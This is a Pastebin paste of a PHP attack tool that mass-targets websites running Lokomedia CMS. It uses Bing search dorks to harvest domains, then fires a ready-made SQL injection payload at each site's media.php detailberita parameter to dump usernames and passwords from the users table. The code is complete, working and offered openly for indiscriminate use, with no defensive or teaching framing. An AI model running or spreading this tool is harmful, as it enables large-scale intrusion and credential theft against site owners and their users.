Advertisement
shutdown57

Auto Dorking & Inject Lokomedia

Apr 30th, 2017
569
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.30 KB | None | 0 0
  1. <?php
  2. // auto dorking
  3. // auto inject lokomedia
  4. // c0ded by shutdown57
  5. // fb.com/JKT48.co
  6.  
  7. set_time_limit(0);
  8.  
  9. function getsource($url) {
  10.     $curl = curl_init($url);
  11.     curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  12.     $content = curl_exec($curl);
  13.     curl_close($curl);
  14.     return $content;
  15. }
  16. function ngebing($dork,$nama){
  17. $do = urlencode($dork);
  18. if(isset($dork)) {
  19.     $npage = 1;
  20.     $npages = 30000;
  21.     $allLinks = array();
  22.     $lll = array();
  23.     while($npage <= $npages) {
  24.         $x = getsource("http://www.bing.com/search?q=".$do."&first=".$npage);
  25.         if($x) {
  26.             preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
  27.             foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
  28.             $npage = $npage + 10;
  29.             if (preg_match("(first=" . $npage . "&amp)siU", $x, $linksuiv) == 0) break;
  30.         } else break;
  31.     }
  32.     $URLs = array();
  33.     foreach($allLinks as $url){
  34.         $exp = explode("/", $url);
  35.         $URLs[] = $exp[2];
  36.     }
  37.     $array = array_filter($URLs);
  38.     $array = array_unique($array);
  39.     $sss = count(array_unique($array));
  40.     echo "[+] Getting [ $sss ] Sites .... \n\n";
  41.     foreach($array as $domain) {
  42.     $s= "http://$domain/\n";
  43.     $fp = fopen($nama,"a");
  44.     fwrite($fp,$s);
  45.     fclose($fp);
  46.     echo $s;
  47.     }
  48. }
  49. }
  50.  
  51. function ngehek($url)
  52. {
  53.     global $merah,$hijau;
  54.     $merah = "\033[1;31m";
  55.     $hijau = "\033[1;32m";
  56.     $netral = "\033[1;0m";
  57.  
  58.     $c= curl_init();
  59.     $curl=array(
  60.         CURLOPT_URL=>$url,
  61.         CURLOPT_RETURNTRANSFER=>1,
  62.         CURLOPT_FOLLOWLOCATION=>0,
  63.         );
  64.     curl_setopt_array($c,$curl);
  65.     $e = curl_exec($c);
  66.     if(preg_match("/WOS/",$e)){
  67.         echo $hijau."[ IN7ECTED ] ".$netral."\n";
  68.         echo "[ SITES ] ".$url."\n";
  69.     }else{
  70.         echo $merah."[ 7373KBAU ] ".$netral."\n";
  71.         echo "[ SITES ] ".$url."\n";
  72.     }
  73.     curl_close($c);
  74. }
  75.  
  76. $dork_lol = getopt("d:o:");
  77. if(empty($dork_lol))
  78. {
  79.     echo "Usage : ".$argv[0]." -d=\"semua-berita.html\" -o \"output.txt\" \n\n";
  80. }else{
  81. ngebing($dork_lol['d'],$dork_lol['o']);
  82. if(file_exists($dork_lol['o']))
  83. {
  84.    
  85. $gc=file_get_contents($dork_lol['o']);
  86. $exp = explode("\n",$gc);
  87. foreach($exp as $x){
  88.     $url = "/media.php?module=detailberita&id=.103'+union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x23,username,0x3a574f533a,password,0x3c62723e)),@)--+";
  89.     ngehek($x.$url);
  90.  
  91. }
  92. }else{
  93.     echo "[+] File output engga ada";
  94. }
  95. }
  96.  
  97.  
  98. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement